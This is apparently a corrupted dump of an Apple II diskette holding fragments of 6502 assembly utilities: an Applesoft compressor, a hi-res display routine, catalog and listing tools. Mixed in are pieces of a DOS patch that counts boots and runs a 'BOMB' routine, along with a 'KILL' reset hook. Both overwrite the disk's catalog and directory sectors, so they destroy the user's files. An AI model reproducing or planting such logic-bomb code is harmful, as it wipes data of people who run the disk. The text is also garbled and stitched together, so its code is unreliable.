PROGRAM LENGTH: PRGM COMPRESSED BY: BYTES :8gh $ .֠ :8寪 $ . `렔 : ` Ւ _ ` 铥ȥ` _ ֩ 铑 铥ikmjln `ʆ `  `ȱȱ `8```iœ  ʩ  9 Ւ ` "LБ Lܑ LБ œ`  9` ": ,:  `  9` " ʩ"`  9` " * 8  " * 8 `` ک :8g h $ .`gh ȱ` ک : کgh   œ 9 " Б n : `: L]ɪɲ Loɂ YL]" L] * L]ɭ  9L]  œ 9 Ւ`: ʩ st` کd :ۢ ' کo : ڥ ک~ : L "Lȱȱi 80 ɫɰڅ ڥPQ ְ5 ڥ $ZL̐ɰFL̐P :ۥ $Lސ ,𬥸ƹƸLiii hhhhx\@VLզHD &STv @p 7$]]@p ✩ $ i ✢ T ✢D  ✢ܘ  DL𛩫TmTm L``ޜ圩\TL `HDyHHT 0L jLxyۜ ڜᜩ✢T LD9HT1L&zSs VD \L $0' 0$Dp hT hh(T~LjD6L OMPRESSED BY: '  00 MESS1A ' BYTES '  00 ; ; END '*** PASS1 '  00 PASS1B '*** END PASS1 '  00 ERRMES '*** NOT COMPRESSED '  00 PASS2A '*** PASS2 '  00 PASS2B '*** END PASS2 '  00 !MESS1 'OLD PROGRAM LENGTH: '  00 !MESS2 'NEW PROGRAM LENGTH: '  00 !MESS3 'PRGM CNOLETR #LETTRZ ISLETR ISLETR NOLETR  ISLETR  NUMBER #ZERO NONUMB #NINE ISNUMB ISNUMB NONUMB  ISNUMB  GOTO ' GOTO '  00 GOSUB ' GOSUB '  00 THEN ' THEN '  00 PASS1A R+1 #$FF NEWPTR+1  DECOLD OLDPTR #$FF OLDPTR OLDPTR+1 #$FF OLDPTR+1  PUTNEW INCNEW #$00 (NEWPTR),Y  PUTBUF LINBUF,X  #$FD  GETOLD INCOLD GOTOLD #$00 (OLDPTR),Y  LETTER #LETTRA  (OLDPTR),Y LN1+1 TEMP LSTEOS INCOLD INCOLD INCOLD INCOLD   GET1  INCNEW NEWPTR IN1 NEWPTR+1 IN1 INCOLD OLDPTR IN2 OLDPTR+1 IN2 DECNEW NEWPTR #$FF NEWPTR NEWPT #$00 LOOP1 LINBUF,X PUTNEW  MAXX LOOP1 LOOP1  BAKTRK IFFLAG BK1 LASTX BK1 #ENDLIN PUTBUF OLDBEG OLDPTR OLDBEG+1 OLDPTR+1 TRNBUF  GETLIN #$02 (OLDPTR),Y GET1  (OLDPTR),Y LN1WPTR+1 (LSTLIN),Y  EOP WRTLNK STXTPT #$00  (TXTPTR),Y (NEWPTR),Y INCNEW (NEWPTR),Y INCNEW NEWPTR EPROG LOMEM ARS EARS NEWPTR+1 EPROG+1 LOMEM+1 ARS+1 EARS+1 SUMARY  TRNBUF MAXX1A STROUT CRDO  NEWLIN #ENDLIN IFFLAG RESOLD WRTLNK NEWPTR LSTLIN NEWPTR+1 LSTLIN+1 DECNEW #$02 LN1 LINBUF,X  LASTX LN1+1 LINBUF,X   WRTLNK #$00 INCNEW NEWPTR (LSTLIN),Y  NE LINPRT PRT1A #MESS2 /MESS2 STROUT  EPROG TXTTAB  EPROG+1 TXTTAB+1 LINPRT PRT1A #MESS3 /MESS3 STROUT  OLDEOP EPROG  OLDEOP+1 EPROG+1 LINPRT PRT1A CRDO  PRT1A #MESS1A /MESS VAR3 GETOLD LETTER VAR3 NUMBER VAR3 VAR4 DECOLD  RESOLD IFFLAG RS1 OLDPTR OLDBEG OLDPTR+1 OLDBEG+1 RS1 SUMARY CRDO #MESS1 /MESS1 STROUT  OLDEOP TXTTAB  OLDEOP+1 TXTTAB+1 RK NEWLIN  COPYST GETOLD PUTBUF SBAK  #QUOTE LINBUF,X CLQUOT  COPYST CLQUOT  VARIBL PUTBUF VAR1 VBAK BAKTRK NEWLIN  VAR1 GETOLD LETTER VAR2 NUMBER VAR4 VAR2 PUTBUF VBAK NEXTX PUTBUF NEXTA BAKTRK NEWLIN  NEXTA GETOLD #REFLIN NEXTB #ENDLIN NEXTB #COLON NEXTB #COMMA NEXTA #COLON PUTBUF #NXTTOK NEXTX NEXTB DECOLD  STRING PUTBUF COPYST SBAK BAKTIN REM1 #ENDLIN REMARK #$00 REM2 REM1 #$01 REM2 TEMP #$04 REM3  EOL REM3 LSTEOS REM4 #$00 REM5 EOL0 REM4 #$00 REM5 #REMTOK PUTBUF #REFLIN EOL REM5 LSTEOS TEMP GETLIN EOLX #COLON LASTX PUTBUF EOL4 EOL3 #REFLIN EOL EOL4 GETLIN EOL3 EOL1 EOS LASTX PUTBUF EOS1  #ENDLIN PUTBUF TRNBUF NEWLIN EOS1 RESOLD #ENDLIN LSTEOS  REMARK GETOLD #REFL#IFTOK GB8 IFFLAG GB8 LASTX IFFLAG GB8 PUTBUF GETBYT BAKTRK NEWLIN GETBYT EOL #REFLIN EOL2 EOLX #ENDLIN PUTBUF TRNBUF EOL0 GETLIN EOL1 NEWLIN  EOL1 RESOLD  EOL2 IFFLAG  GB2 #COLON GB3 EOS GETBYT GB3 #LETTOK GETBYT #REMTOK GB4 REMARK GB1A GB4 #NXTTOK GB5 NEXTX GETBYT GB5 #QUOTE GB6 STRING GETBYT GB6 LETTER GB7 VARIBL GETBYT GB7 OLDEOP EPROG+1 OLDEOP+1 #ENDLIN LSTEOS IFFLAG DECOLD DECNEW GETLIN NEWLIN GETBYT GETOLD #REFLIN GB1 #ENDLIN GB2 GB1 LSTEOS TEMP EOL GB1A GETBYT EOP #PASS2B /PASS2B STROUT CRDO LIN),Y   (LSTLIN),Y LSTLIN+1 LSTLIN  (LSTLIN),Y REST1  SECOND CRDO #PASS2A /PASS2A STROUT CRDO #REFLIN LASTX TXTTAB LSTLIN NEWPTR OLDPTR TXTTAB+1 LSTLIN+1 NEWPTR+1 OLDPTR+1 EPROG TXTPTR NEXT3 TXTPTR+1 NEXT3 TXTPTR SCANLIN WRTBYT LSTLIN #$FF LSTLIN LSTLIN+1 #$FF LSTLIN+1  #$00 (LSTLIN),Y  RESTOR TXTTAB LSTLIN TXTTAB+1 LSTLIN+1 REST1 #ENDLIN WRTBYT #$01 (LSTOKEN #THENTK NEXT1 #THEN /THEN PRINT NEXT1 #GOSBTK NEXT2 #GOTO /GOTO PRINT NEXT2 #GOSUB /GOSUB PRINT STROUT LN2+1 LN2 LINPRT CHK1 CHKCOM #REFLIN WRTBYT CHK1 CHRGOT #COMMA READLN #$30 #$0A SCANLIN #THENTK STORE NEXT #GOTOTK STORE #GOSBTK SCANLIN STORE TOKEN READLN CHRGET LINGET LINNUM LINNUM+1 LN2 LN2+1 FNDLIN CHKCOM ERRORS NOLINE CRDO LN1+1 LN1 LINPRT TDOSWS PASS2 SECOND DOSWS SAVLIN (TXTPTR),Y LN1  (TXTPTR),Y LN1+1 TXTPTR  #$03 TXTPTR SCANLIN TXTPTR+1 SCANLIN CHRGET #ENDLIN NXTLIN #REFLIN NXTLIN #THENTK NEXT #$01 (TXTPTR),Y  HIMEM+1  BEGIN CRDO #PASS1A /PASS1A STROUT #$00 ERRORS STXTPT NXTLIN CHRGET #$01 (TXTPTR),Y SAVLIN CRDO #PASS1B /PASS1B STROUT CRDO ERRORS PASS2 CRDO #ERRMES /ERRMES STROUT RESTOR 3A LETTRA $41 LETTRZ $5A NXTTOK $82 LETTOK $AA GOTOTK $AB GOSBTK $B0 IFTOK $AD REMTOK $B2 THENTK $C4 REFLIN $FF ; ;  $9000  $800 ; START #BEGIN BJP+1 /BEGIN BJP+2 #START HIMEM /START TOKEN $F9 OLDPTR $B8 TEMP $FC ; ; Other Locations ; --------------- ; DOSWS $3D0 BJP $3F5 LINBUF $9500 ; ; Constants ; --------- ; ENDLIN $00 QUOTE $22 COMMA $2C ZERO $30 NINE $39 COLON $LASTX $04 NEWPTR $02 IFFLAG $01 ERRORS $00 LSTEOS $0A OLDEOP $08 LINNUM $50 TXTTAB $67 EARS $6D ARS $6B LOMEM $69 HIMEM $73 LSTLIN $9B EPROG $AF TXTPTR $B8 LN2 $FC LN1 $FA t Subroutines ; --------------------- ; FNDLIN $D61A STXTPT $D697 LINGET $DA0C CRDO $DAFB STROUT $DB3A LINPRT $ED24 CHRGOT $B7 CHRGET $B1 ; ; Zero Page Locations ; ------------------- ; MAXX $07 OLDBEG $05 B; ************************* ; *  * ; * COMPRESS * ; * * ; * APPLESOFT COMPRESSION * ; * PROGRAM * ; * * ; ************************* ; ; ; Applesof              MARK #$00 REM2 REM1 #$01 REM2 TEMP #$04 REM3  EOL REM3 LSTEOS REM4 #$00 REM5 EOL0 REM4 #$00 REM5 #REMTOK PUTBUF #REFLIN EOL REM5 LSTEOS TEMP GETLIN  PUTBUF EOL4 EOL3 #REFLIN EOL EOL4 GETLIN EOL3 EOL1 EOS LASTX PUTBUF EOS1  #ENDLIN PUTBUF TRNBUF NEWLIN EOS1 RESOLD #ENDLIN LSTEOS  REMARK GETOLD #REFLIN REM1 #ENDLIN REGB8 LASTX IFFLAG GB8 PUTBUF GETBYT BAKTRK NEWLIN GETBYT EOL #REFLIN EOL2 EOLX #ENDLIN PUTBUF TRNBUF EOL0 GETLIN EOL1 NEWLIN  EOL1 RESOLD  EOL2 IFFLAG EOLX #COLON LASTX #COLON GB3 EOS GETBYT GB3 #LETTOK GETBYT #REMTOK GB4 REMARK GB1A GB4 #NXTTOK GB5 NEXTX GETBYT GB5 #QUOTE GB6 STRING GETBYT GB6 LETTER GB7 VARIBL GETBYT GB7 #IFTOK OLDEOP EPROG+1 OLDEOP+1 #ENDLIN LSTEOS IFFLAG DECOLD DECNEW GETLIN NEWLIN GETBYT GETOLD #REFLIN GB1 #ENDLIN GB2 GB1 LSTEOS TEMP EOL GB1A GETBYT EOP #PASS2B /PASS2B STROUT  GB2 N),Y   (LSTLIN),Y LSTLIN+1 LSTLIN  (LSTLIN),Y REST1  SECOND CRDO #PASS2A /PASS2A STROUT CRDO #REFLIN LASTX TXTTAB LSTLIN NEWPTR OLDPTR TXTTAB+1 LSTLIN+1 NEWPTR+1 OLDPTR+1 EPROG TXTPTR NEXT3 TXTPTR+1 NEXT3 TXTPTR SCANLIN WRTBYT LSTLIN #$FF LSTLIN LSTLIN+1 #$FF LSTLIN+1  #$00 (LSTLIN),Y  RESTOR TXTAB LSTLIN TXTTAB+1 LSTLIN+1 REST1 #ENDLIN WRBYT #$01 (LSTLIOKEN #THENTK NEXT1 #THEN /THEN PRINT NEXT1 #GOSBTK NEXT2 #GOTO /GOTO PRINT NEXT2 #GOSUB /GOSUB PRINT SRTOUT LN2+1 LN2 LINPRT CHK1 CHKCOM #REFLIN WRTBYT CHK1 CHRGOT #COMMA READLN #$30 #$0A SCANLIN #THENTK STORE NEXT #GOTOTK STORE #GOSBTK SCANLIN STORE TOKEN READLN CHRGET LINGET LINNUM LINNUM+1 LN2 LN2+1 FNDLIN CHKCOM ERRORS NOLINE CRDO LN1+1 LN1 LINPRT TDOSWS PASS2 SECOND DOSWS SAVLIN (TXTPTR),Y LN1  (TXTPTR),Y LN1+1 TXTPTR  #$03 TXTPTR SCANLIN TXTPTR+1 SCANLIN CHRGET #ENDLIN NXTLIN #REFLIN NXTLIN #THENTK NEXT #$01 (TXTPTR),Y  HIMEM+1  BEGIN CRDO #PASS1A /PASS1A STROUT #$00 ERRORS STXTPT NXTLIN GHRGET #$01 (TXTPTR),Y SAVLIN CRDO #PASS1B /PASS1B STROUT CRDO ERRORS PASS2 CRDO #ERRMES /ERRMES STROUT RESTOR 3A LETTRA $41 LETTRZ $5A NXTTOK $82 LETTOK $AA GOTOTK $AB GOSBTK $B0 IFTOK $AD REMTOK $B2 THENTOK $C4 REFLIN $FF ; ;  $9000  $800 ; START #BEGIN BJP+1 /BEGIN BJP+2 #START HIMEM /START TOKEN $F9 OLDPTR $B8 TEMP $FC ; ; Other Locations ; --------------- ; DOSWS $3D0 BJP $3F5 LINBUF $9500 ; ; Constants ; --------- ; ENDLIN $00 QUOTE $22 COMMA $2C ZERO $30 NINE $39 COLON $LASTX $04 NEWPTR $02 IFFLAG $01 ERRORS $00 LSTEOS $0A OLDEOP $08 LINNUM $50 TXTTAB $67 EARS $6D ARS $6B LOMEM $69 HIMEM $73 LSTLIN $9B EPROG $AF TXTPTR $B8 LN2 $FC LN1 $FA t Subroutines ; --------------------- ; FNDLIN $D61A STXTPT $D697 LINGET $DA0C CRDO $DAFB STROUT $DB3A LINPRT $ED24 CHRGOT $B7 CHRGET $B1 ; ; Zero Page Locations ; ------------------- ; MAXX $07 OLDBEG $05 ; ************************* ; *  * ; * COMPRESS * ; * * ; * APPLESOFT COMPRESSION * ; * PROGRAM * ; * * ; ************************* ; ; ; Applesof     ctor IBDCT DCTDCT address IBBUFR 0000IOB buffer  0000 IBCMD 00IOB command IBSTAT 00IOB errors 006001 ; DCT 0001EFD8 ; ;  ite the sector! COUNTIf count >0, loop  DC08153 byte NOP LOOP2 RESTORand return to DOS ; ; ; IOB 01IOB starts here IBSLT 60IOB slot IBDRVN 01IOB drive IBVOL 00IOB volume IBTRK 00IOB track IBSC 00IOB se  44D02 byte NOP RESTORand go to DOS ; %BOMB #$ABMake a strange buffer BUFFER+1 #$10Overwrite all of COUNTtrack $11 !  546D2 byte NOP &LOOP2 COUNTDecrement the counter #$11 COUNT #$02  546D2 byte NOP GETSCWrB #$00 #$0B #$02  54C42 byte NOP GETSCDone! IBBUFR+1Now Tk0,ScC #$00  44942 byte NOP #$0C #$02 GETSCDone! /$AB00Now Tk1,ScA IBBUFR+1 #$01  DC98F13 byte NOP #$0A #$02  FC0AD63 byte NOP GETSCDone!sk  FC40703 byte NOP GETSC /$9B00Now save Tk0,ScA IBBUFR+1 #$00Init BOOTCNT BOOTCNT  DC0A243 byte NOP #$00 #$0A #$02  F4692 byte NOP GETSCDone! #$FFRestore BOOTCNT BOOTCNTto normal value IBBUFR+1Now Tk0,Sc#$01 Read Tk0,Sc1 into buffer  FC40703 byte NOP GETSCDone! #$37Set X=54  F4242 byte NOP "LOOP1 DOSCOPY,XModify sector BUFCOPY,X Decrement X register LOOP1 Now save Tk0,Sc0A #$01Modfied, now save back #$02to didbytes BUFFER+3in Tk11,ScF  44092 byte NOP #$26 BUFFER+4 #$53 BUFFER+5 MCOUNTCopy MCOUNT to disk DCOUNT MCOUNT+1 DCOUNT+1 #$11 #$0F #$02  54762 byte NOP GETSCDone! !RESTORIf error, return to DOS #$00 n DOS  FC40563 byte NOP #$A6D5then jump to error handler ; ; ; (; Copydos: We must first modify Tk0,Sc1 '; as it contains the 'state' of DOS at ); bootup. We must also copy Tk0,Sc0A-0C, ; Tk1,Sc0A and Tk11,Sc0F ; ©DOS #$48First set DDOS i 54202 byte NOP      547E2 byte NOP $AE6Aand go back to DOS ; ;  44362 byte NOP $BOMB2 BOMBJump to BOMB routine ; ; ERROR Pull all off stack    #$08Set I/O ERROR  FC78F93 byte NOP $AA5Cand store i MCOUNT RESTORNo, restore ;  F4242 byte NOP 'COPYCNT MCOUNTCopy MCOUNT t buffer DCOUNT MCOUNT+1 DCOUNT+1  44702 byte NOP #$11and copy to disk #$0F #$02  F4E42 byte NOP GETSCDone! ; RESTOR Pull registers  on't lower msb  5CD84C3 byte NOP MCOUNT+1 ;  FCFA0E3 byte NOP (COMPCNT DCOUNT+1Check DCOUNT>=MCOUNT MCOUNT+1  DC0A243 byte NOP RESTORNo, restore COMPCNT2Equal? Test again COPYCNTElse COPYCOUNT COMPCNT2DCOUNTCompare lsb's ER+4  F4942 byte NOP COPYDOSNo, COPYDOS #$53 BUFFER+5 COPYDOSNo, COPYDOS ; CHEKMCNTMCOUNTIs MCOUNT=0? MCOUNT+1 BOMB2Yes, BOMB ;  44112 byte NOP DECMCNT MCOUNTDec MCOUNT lsb MCOUNTIs it #$FF? #$FF COMPCNTNo, d with DDOS BOOTCNTelse dec BOOTCNT  44392 byte NOP DCOUNTand copy DCOUNT MCOUNTinto memory DCOUNT+1 MCOUNT+1 CHECKID #$48Is it DDOS? BUFFER+3  54312 byte NOP >1Yes ,continue COPYDOSelse COPYDOS ^1 #$26 BUFFGETCAT #BUFFERSet up I/O buffer IBBUFR /BUFFER IBBUFR+1 #$11Set Tk11,Sc0F,read #$0F #$01  54E92 byte NOP GETSCGet the sector >1No error, continue ERRORelse inform DOS ^1 BOOTCNTIs it 0? !CHECKIDNo, continue>1Yes, do DDOS RESTORelse go to DOS &^1 FMDRVNGet drive user wants GETCATIf 0, use last value  FC78793 byte NOP IBDRVNWe want it too! FMSLTNGet the slot also Multiply by 16 to conform to the RWTS   IBSLT ; $92 byte NOP     54812 byte NOP BOOTCNTTest BOOTCNT DDOS2If not +ve,goto DDOS DDOS2 BOOTCNTelse dec BOOTCNT RESTORand bypass DDOS ;  F4092 byte NOP %DDOS2 RSTFMWRestore FM workarea "SUBCODEIs FM acessing catalog? z#  Ųà ŲʠˠӮʠĮʠ ǮàǮʠ ӳàӳʠòàòʠŠ ӳʠ Ӯʠ Š Ӳà Ů ̮ʠ ԠǮà ̴à% Үʠ Ҳʠ ʹà"ӳàӲàӳà ԠԱà0Үà  ̠ĮҠĮҮà ̮͠ ̳àϠ Ԡ̠Ǯʠ Ԡ̠ǮàӮϠӮà ԠҮàԠԮà0$FD RTMARG $FE LFMARG $FF HPOSN $F411 ; ; INIT #8 UPBY #12 DNBY #20 RTMARG #18 LFMARG #PAGE2 PAGE #83 #0 #133 HPOSN TRNSFR UP UPBY UP2 DECRY TRNSFR  UP2 UPBY  #; **************** ; * IRIS * ; * * ; * HI-RES OPEN * ; * * ; **************** ; ;  $6000  $800 ; PAGE $E6 PAGE2 $40 DECRY $F4D5 INCRY $F504 COLUMN $E5 UPBY $FC DNBY   IRIS DEMO3(4);"BLOAD IRIS.OBJ,A$6000"X:"ENTER NAME OF PICTURE: ";NA$z((4);"BLOAD ";NA$;" ,A$4000"2:<24576 "NO #$AAMAKE IT ASTERISK ; NO $AE,$21  1  $F0 ; $AE,$2F  5 #33 SPACES $F94A  0 ; END TIT  SHIFT #GOTIT $B3A7,YGET PROGRAM TYPE $FDEDOUTPUT IT #$A0SPACE $FDED $B4E7,X $44 $B4E8,XGET SIZE $45 $AE42OUTPUT IT #$A0SPACE $FDED #$1DFILE NAME SIZE OLOOP $B4C9,XGET NAME #$A0CONTROL CHAR N ORDER OF: ; ADDRESS OF WHERE TO PUT IT ; NUMBER OF BYTES TO MOVE ; PATCH ITSELF ; ; PATCH $AD,$A8  $6  #$8DOUTPUT CR $FDED ; $AD,$C3  $6  #$8DOUTPUT CR $FDED ; $AD,$EB  $30 #7 SHIFT FIND A BIT GOOP PATCH,X DONE IND+1GET HI-ORDER  PATCH,X INDGET LO-ORDER  PATCH,X COUNTGET COUNT  #0 $DOIT PATCH,XGET BYTE OF PATCH (IND),Y   COUNTDONE YET? DOITNO LOOPYES DONE ; ; ; PATCH AREA I}; %%%%%%%%%%%%%%%%%%%%% ; % % ; % 80 COLUMN CATALOG % ; % % ; % % ; %%%%%%%%%%%%%%%%%%%%% ; ;  $300  $800FOR LISA ; ; ; EQUATES: ; IND $85 COUNT $87 ; ; ; #0 LO x&&&&Ƈ`ꩍ ꩍ 0 0 紅D贅E B ɴɠ!/ J A 4"MASTER DISKETTE CREATED ON 48K SYSTEM"a"BY W.TOOMEY 23/11/83"{(4:16);"LISA FILES"-A$"----------------------------------------".A$;/22:A$"26:34,5:35,21<(4);"CATALOG"F34,0:35,24:22 ATION OF KEYWORD IN TABLE  SAVE.YSAVE LINE INDEX #$D0 TBLPTR #$CF TBLPTR+1 "#$FFINIT Y FOR KEYWORD POINTER CNTKYW COUNT KEYWORDS GOTKYWFOUND THE ONE WE WANT (REDKYW KYWORDREAD KEYWORD CHARACTER )REDKYWNOT END OF WORD SINC.HIAN INDEX AND TBLPTR AS THE BASE TBLPTR+1 INC.HI (TBLPTR),Y RTS2 ASCDO2 ASCIDO ; ; ;PRINT CHARACTER OR KEYWORD ; 7TOKENS MARGINIF NOT A TOKE THEN GO AND PRINT ASCII TOKCHK #TOKEN MINUS $7F EQUALS INDEX TO $#$7FLOCMOVE NEW ADDRESS TO LOWTR   (LOWTR),Y LOWTR LOWTR+1 NEWLIN !EXIT1 #$0DCHR$(13) {RETURN} OUTDO -NEWSTTWAIT FOR YOU TO ENTER NEW STATEMENT ; ; ;GET CHARACTER IN KEYWORD TABLE ; .KYWORD READ THRU KEYWORD TABLE USING Y AS )H ; ; ;NEXT CHARACTER ; %NXTCHR NEXT CHARACTER OF PROGRAM (LOWTR),Y COLON .CLNFLGCOLON FLAG SET MEANS ALREADY PRINTED NXTCHRSO GET NEXT CHARACTER (LOWTR),Y $TOKENSIF NOT EOL, IS IT A TOKEN? ZERO FOR EOL FOUND )(LOWTR),YSO ALL ASCII PRINTED HERE )#$7FWITH HI ORDER BIT CLEARED TO ZERO MARGIN OUTDO !CHWHERE IS CURSOR HORIZONTAL? &R.EDGEAT THE RIGHT EDGE OF SCREEN? NXTCHRNO,NOT YET CRDOYES, PRINT *INDENTMOVE INDENT TO CURSOR HORIZONTAL CH CINDENTSET POSITION OF CHCURSOR HORIZONTAL SAVE.YLOAD Y AND LOOK AHEAD  #(LOWTR),YDOES LINE BEGIN WITH A TOKETOKEN? &CHNO,SO MOVE CURSOR 1 TO THE RIGHT TOKE SAVE.Y NXTCHR ; ; ; ;GET CHARACTER OR TOKEN ; (ASCIDO SAVE.YT LINE NUMBER (LOWTR),YINTO X AND A   (LOWTR),Y *LINNUM+1COMPARE WITH LAST LINE TO LIST EXIT2DONE LINNUM PRNTLN EXIT2 EXIT1 PRNTLN SAVE.Y &HILITEASTERISK BEFORE LINE NUMBER? (LINPRTPRINT DEC LINE NUMBER FROM A,X NEWLIN RTS1 ; ; %;EACH NEW APPLESOFT LINE STARTS HERE ; +NEWLIN #$01NEW LINE NUMBERS START HERE '(LOWTR),YSECOND BYTE ZERO MEANS END EXIT1END OF PROGRAM ISCNTCCONTROL C? CRDOPRINT A ; ; ;PRINT LINE NUMBER ; GERTS1 ENDLIN CHRGET LINGET RTS1 INIT #$05SET LEFT MARGIN INDENT #$00 RETFLGINIT FLAGS TO ZERO REMFLG IFFLAG   LINNUM LINNUM+1 NEWLIN #$FFLIST ALL LINES $LINNUMENDING LINE NUMBER OF LIST LINNUM+1 FOR COLON OR EOL #$C9HYPHEN BEGLIN #$2CCOMMA ENDLIN ; ; ;READ LINE NUMBER ; 'BEGLIN LINGETLINE NUMBER TO LINNUM %FNDLINPUT ADDR OF LINE INTO LOWTR CHRGOT !INITZERO MEANS NO LINE NUMBER #$C9HYPHEN ENDLIN #$2CCOMMA TC $D858 LINGET $DA0C CRDO $DAFB OUTDO $DB5C LINPRT $ED24 ; ;  $9300  $800 ; ; ; AMPPRT #$20JUMP OPCODE AMPER #LIST1 AMPER+1 /LIST1 AMPER+2  'LIST1 BEGLINCHRGET CODE FOR DIGIT &BEGLINCHRGET CODEg;*********************** ; ; ; LIST MASTER ; ;*********************** ; ; CH $24 LINNUM $50 SAVE.Y $85 LOWTR $9B TBLPTR $9D CHRGET $B1 CHRGOT $B7 ; AMPER $3F5 ; FNDLIN $D61A NEWSTT $D7D2 ISCN        LF ; TRNSFR $E5 ($26),Y   $27 #$20 $27  ($26),Y $27  #$20 $27  ; CHECK $26 #$50 CHECKZ $27 #$42 CHECKZ   CHECKZ ; END TRNSFR  DN2 DNBY  #8 DNBY ; LF $E5 $E5 LFFLP LFMARG LF3 LF3 LFFLP $E5  LFMARG UP LF3 TRNSFR $26  $27  DECRY TRNSFR DECRY TRNSFR DECRY TRNSFR  $27  $26 8 UPBY ; RT $E5 $E5 RTMARG RT2 RT2 $E5  RTMARG DN RT2 TRNSFR $26  $27  INCRY TRNSFR INCRY TRNSFR INCRY TRNSFR  $27  $26 RT DN DNBY DN2 INCRY CHECK 2.; %%%%%%%%%%%%%%%%%%%% ; % % ; % MASTER DIRECTORY % ; % % ; %%%%%%%%%%%%%%%%%%%% ; ; ; ZERO PAGE EQUATES ; #BUFFER $EEDIRECTORY BUFFER PTR !WINTOP $22TOP OF TEXT WINDOW PROMPT $33INPUT PROMPT MAX               MFLG 00 INDENT 00 IFFLAG 00 RETFLG 00 SAVCHR 00 SAVTOK 00 CLNFLG 00 ; ;  EXECUTION MONITORLINE 1 10 100 1000 10T :۩ : \ d,  $ʹ J  4ɀA, UP 0 i c RPPPe . @@   Wۥ $ kLЅ,,`i0ihh`APPLESOFT`SSS-LЅ=C>? ,ؽp, :۩ :*&L m L* INSTALLEDUSE TRACE TO START - NOTRACE TO PLOTfd \ fghPQPPPPP k,쥅` \ kvu芑` Jre the registers $AE6Aand go back to DOS ; ; ; ; $KILL #KILLFix reset to always $3F2jump here /KILL $3F3 #$39Power-up byte to prevent $3F4cold starts #DIRECT #$11Overwrite directory #$0Fwith anything #$02 GETSC>  %IFCHK IFFLAGIF FLAG AND COUNTER RESTORENOT SET, SO GO BACK $INDENTIS SET, SO COUNT BACK BY 3 IFCNT #$03  IFCNT #$05INDENT NEVER LESS THAN 5 OK.1 #$05 OK.1 INDENT  IFFLAG RESTORE ; ; ;TOKEN CHECK IFCHKALWAYS #$2DIS SET, SO PRINT HYPHENS ROWDOIN A ROW #$00 REMFLGAND CLEAR FLAG IFCHKALWAYS ROWDO R.EDGEHOW MANY SAVCHROF WHAT CHARACTER MORE SAVCHREACH TIME OUTDOPRINT COUNT MOREDO AGAIN CRDO +SAVE.YAND MOVE SAVE.Y TO NEXT CHARACTER #$01SET COLON FLAG TO ONE CLNFACKNO SO BACK WE GO !#$00YES, SO CLEAR RETURN FLAG RETFLG #$0DAND PRINT A OUTDO #BACK #$20SPACE AFTER KEYWORD ASCDO2ALWAYS ; ; ;LOOK FOR COLONS ; #COLON SAVE REGISTERS ON STACK     #$00 CLNFLGSET COL FIRST INDENTAND PROPER INDENT  #$02 CH (KEYWDO KYWORDGET KEYBOARD CHARACTER 'LSTCHRLAST CHARACTER HAS HI BIT SET OUTDOPRINT IT KEYWDO 0LSTCHR OUTDOPRINT LAST CHARACTER OF KEYWORD !RETFLGWAS THIS TOKEN A RETURN BO KEEP READING !CNTKYWEND OF WORD SO COUNT IT GOTKYW #$20SPACE #OUTDOPRINT SPACE BEFORE KEYWORD CHCHECK ON CURSOR HORIZONTAL LARGEST KEYWORD HAS #$06SIX CHARACTERS R.EDGERIGHT EDGE OF SCREEN KEYWDOOK TO PRINT KEYWORD CRDOAND ENTER ID"  8D  "PRESS RETURN TO EXIT"  8D00 ; ; "; ROUTINE TO SAVE CATALOG TO DISK ; SAVECAT #$32INV "2" $582 HOME GETNAMEGET FILENAME  >2 #48BAVE COMMAND COMND ##$09SET KEYWORDS FOUND BITS TOO 'KYWRDFNDSHOW 'A # OF ID'S NUMIDSPOINT TO FREE AREA POINTID !#0MOVE DISK ID TO IT'S BUFFER ^2 INBUFF,Y #$8DTEST FOR EOLN >1 (IDBUFFR),Y  #$08TEST FOR EOF ID <2 ,^1 #$01TEST FOR NO ID (CR 1st CHAR)  &IDTBL "INSERT DISK, "OUT OF MEMORY!" 878D00 *NXTENT NXTONEPOINT TO NEXT FILE ENTRY %RDSECTNO MORE DO READ NEXT SECTOR NXTNAMMORE IN THIS SECTOR ; ; ; ROUTINE TO GET DISK ID ; GETID #IDTBLREQUEST ID /IDTBL PRINTMES GETLNZGET ID NUMIDSINC NUMBER+1 %^2 INCREMENT BUFFER POINTERS BUFFER #$20 BUFFER >1 BUFFER+1 )^1 BUFFERCHACK FOR OUT OF MEMORY HIMEM BUFFER+1 HIMEM+1 NXTENT #OUTBLYES WE ARE /OUTBL PRINTMES RDKEY <4 OUTBL 8787 ECTORY !NXTENTCHACK FOR DELETED ENTRY #0 NUMIDSGET DISK ID NUMBER (BUFFER),YSTORE IT WITH NAME ADVANCE PTR TO FILE TYPE ^1 MOVE FIMENAME & TYPE  DIRBGN,X (BUFFER),Y #$1F <1 "NUMBERINCREMENT NO. OF ENTRIES >2 TERED ^4 #$B1NORM "1" $502 COMMAND ^1 RDVTOCREAD VTOC SET TO READ 1ST SECTOR RDSECT RDSCTRAND READ IT NEXTDISK #0 "NXTNAM DIRIDXRESET DIR. INDEX &DIRBGN,XGET 1ST BYTE OF THIS ENTRY #NEXTDISKCHECK FOR EOF DIRNUMBER+1 #NAMEBUFRSET BUFFER PTRS BUFFER /NAMEBUFR BUFFER+1 #$FF NUMIDS0 NO. OF DISK ID'S #$A0BLANK DISK ID BUFFER #0 ^1 IDBUFR,Y IDBUFR+$100,Y  <1 NEXTDISKHOME GETIDGET ID FOR DISK >1BRANCH WHEN ID ENDOW WINTOP HOME #$A5 $A851RESTORE NORMAL DOS #$A2 $9EE0 #$20 $A6EF #$51 $A6F0 #$A8 $A6F1 $3D3COLD-START DOS ; ; ; ROUTINE TO READ CATALOG ; SCANDISK#$31INV "1" $502 #0 NUMBER0 NO. OF FILE NAMES NE DESIRED SUB & JMP TO IT #">" COUT RDKEY #"1" >1 SCANDISK ^1 #"2" >2 SAVECAT ^2 #"3" >3 READCAT ^3 #"4" >4 SORTCAT ^4 #"5" >5 PRINTCAT ^5 #"6" COMMAND #0SET FULL WINNBUFF $200INPUT BUFFER %MAXLINE 65# OF LINES/PRINTED PAGE ; ; ; ; ** MAIN PROGRAM ** ; MENUSET UP THE SCREEN )SET HIMEM TO POINT BELOW ACTUAL HIMEM $73 #$20 HIMEM $74 #0 HIMEM+1 #">" PROMPT 1COMMAND HOMEDETERMIMAXFILES $A258MAXFILES SUB SETIN0 $FE89DO IN#0 SETOUT0 $FE93DO PR#0 SETOUT $FE95DO PR#SLOT ; ; ; WORKING DEFINITIONS ; IDBUFR $EF0DISK ID BUFFER *NUMBER IDBUFR-2# OF ENTRIES IN BUFFER (NAMEBUFR IDBUFR+$200FILE NAMES BUFFER I $AA6A LEN $AA6C ADDR 